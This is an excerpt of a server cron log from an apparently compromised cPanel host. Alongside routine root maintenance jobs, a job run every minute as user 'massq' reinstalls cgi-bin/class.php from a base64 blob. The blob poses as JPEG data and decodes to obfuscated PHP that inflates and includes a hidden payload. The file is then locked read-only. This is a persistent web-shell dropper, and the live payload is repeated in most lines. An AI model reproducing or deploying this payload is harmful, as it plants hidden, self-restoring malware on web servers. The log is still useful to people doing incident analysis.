"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:14:02 server CROND[29992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:15:01 server CROND[30129]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  7 22:15:01 server CROND[30133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:15:01 server CROND[30132]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 22:15:01 server CROND[30131]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 22:16:01 server CROND[30236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:17:01 server CROND[30284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:18:01 server CROND[30340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:19:01 server CROND[30415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:20:01 server CROND[30575]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 22:20:01 server CROND[30576]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 22:20:01 server CROND[30577]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 22:20:01 server CROND[30580]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 22:20:01 server CROND[30581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:21:01 server CROND[30699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:22:01 server CROND[30757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:23:01 server CROND[30820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:24:01 server CROND[30871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:25:01 server CROND[30937]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  7 22:25:01 server CROND[30938]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 22:25:01 server CROND[30939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:25:01 server CROND[30936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 22:26:01 server CROND[31150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1